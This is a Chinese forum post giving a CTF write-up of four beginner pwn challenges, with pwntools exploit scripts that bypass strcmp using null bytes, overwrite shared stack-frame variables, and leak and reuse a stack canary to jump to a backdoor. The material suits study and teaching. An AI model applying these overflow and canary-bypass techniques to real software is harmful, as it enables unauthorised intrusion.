首页
社区
课程
招聘
[原创]0rays战队PTT0爷的QAQ系列题解
2022-4-27 23:55 5680

[原创]0rays战队PTT0爷的QAQ系列题解

2022-4-27 23:55
5680

题目地址

 

img

前言

自11月2日到11月17日持续半个月的大工程,期间百分之大部分的时间都走了弯路。甚至大多都是慢慢调出来的,现在写前言的时候有些题的原理都还不是很清楚。借此机会,顺便研究一下原理。

Q_Q

ida

img

解题思路

可以看出要绕过两个东西,一个是strcmp的比较,另一个是v4的值。

EXP

1
2
3
4
5
6
7
8
from pwn import *
r=process("./Q_Q")
payload1=p32(0x11756f79)+'a'*(0x16-0xc)+p32(0x8181B1B)
gdb.attach(r)
r.send(payload1)
payload2='a'
r.send(payload2)
r.interactive()

聊聊strcmp函数

为啥要在这里聊呢,因为后面QvQ、QAQ考察的核心就是strcmp函数

strcmp函数的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int strcmp(const char *str1,const char *str2)
{
    /*不可用while(*str1++==*str2++)来比较,当不相等时仍会执行一次++
    return返回的比较值实际上是下一个字符。应将++放到循环体中进行。*/
    while(*str1 == *str2)
    {
                assert((str1 != NULL) && (str2 != NULL));               
        if(*str1 == '\0')
            return 0;       
        str1++;
        str2++;
    }
    return *str1 - *str2;
}

可以看出,当两个字符的指针均不为空的时候,比较指针所指的字符,如果存在不同,返回ASCII码的差值;当有一个字符指针为空的时候,结束比较并返回0.

存在的问题

一开始比较的时候,在gdb里面看到两个首字符相等就十分高兴,以为出了,结果后来用x指令发现后面几位根本不等,调了半天才出。

QvQ

ida

img

解题思路

发现和Q_Q有很大的相似之处,但是不同的是两个比较的字符串buf和s2是我们读入的。从buf开始读入的字符,覆盖buf的同时也能够覆盖s2,所以我们只需要传入'\x00'就能保险地构造空指针使得绕过strcmp

EXP

1
2
3
4
5
6
7
8
9
10
from pwn import *
##r=remote("116.62.46.174",10002)
r=process("./QvQ")
context.log_level='debug'
##gdb.attach(r)
for i in range(0,12):
    r.send(p32(0x0))
payload=p32(0x8181b1b)
r.send(payload)
r.interactive()

遇到的问题

一开始不知道strcmp函数的性质,走了很多弯路

QAQ

ida

img

 

img

 

pwn叫你不要看f5

 

可以看出strcmp(s1,s2)返回0时,到loc_8048547。当[ebp+var_44]与1Bh不等时,到达system()

EXP

1
2
3
4
5
6
7
from pwn import*
r=process("./QAQ")
r.recvuntil("think_after_think,wo_haishi_bugaonimengle")
gdb.attach(r)
payload1='\x00'*(0xa+4)
r.sendline(payload1)
r.interactive()

TT()

如何解

这道题真的要对栈帧有深入的理解,因为涉及共用栈帧。并且能读懂汇编指令,

ida

main

img

 

发现有一个全局变量(划重点!!!!),两个函数,还有一个打印的cannary,自然会想到接收cannary然后再覆盖的时候不修改cannary的值同时将main函数的返回地址设置为backdoor。但按照这种想法,后面就会被莫名其妙的segmentfault泼冷水

func1/2

img

 

img

 

可以看到有个奇怪的地方,func1有读入但是没有比较,而func2有比较但是没有读入。会想到用func1读修改func2的v1的值。如何修改呢,这就涉及到对栈帧的理解了。进入gdb调试,我们发现,func1和func2的栈帧的ebp是完全一样的,意思是两个函数的栈帧其实是共用的。有人会问:会不会func1在清栈的时候把修改的值抹去或者重置?当然不可能,清栈时的leave函数个人理解其实是修改ebp和esp寄存器的值,对内存中其它地方的值是没有修改的。所以,这种想法是完全可行。

关于Segmentfault的处理

我们会发现,覆盖后在gdb里面单步步过会再get后到达一个奇怪的地方

 

img

 

一开始我想不通,这0x6161615d是什么寄,知道我读到了这个:

 

img

 

最后ret的其实是esp即[[ebp+var_4]-4],所以我们把ebp+var_4的位置放置backdoor_address+4即可

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
##r=remote("116.62.46.174",10004)
r=process("./TT")
##context.log_level='debug'
payload1=0x5c*'a'+p32(0x75BC371)
##gdb.attach(r)
r.sendline(payload1)
r.recvuntil("Here is a gift:")
canary=int(r.recv(8),16)
##print(hex(canary))
payload2=0xa*'b'+p32(canary)+'a'*4+p32(0x0804B020)
r.sendline(payload2)
r.interactive()

总结

其实说实话,这四道题都还挺简单的,主要是要调,要熟练掌握gdb中x指令和看懂ida里的汇编语言,清楚理解栈帧等等。总算出新手村了,以后还要多加努力!


[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回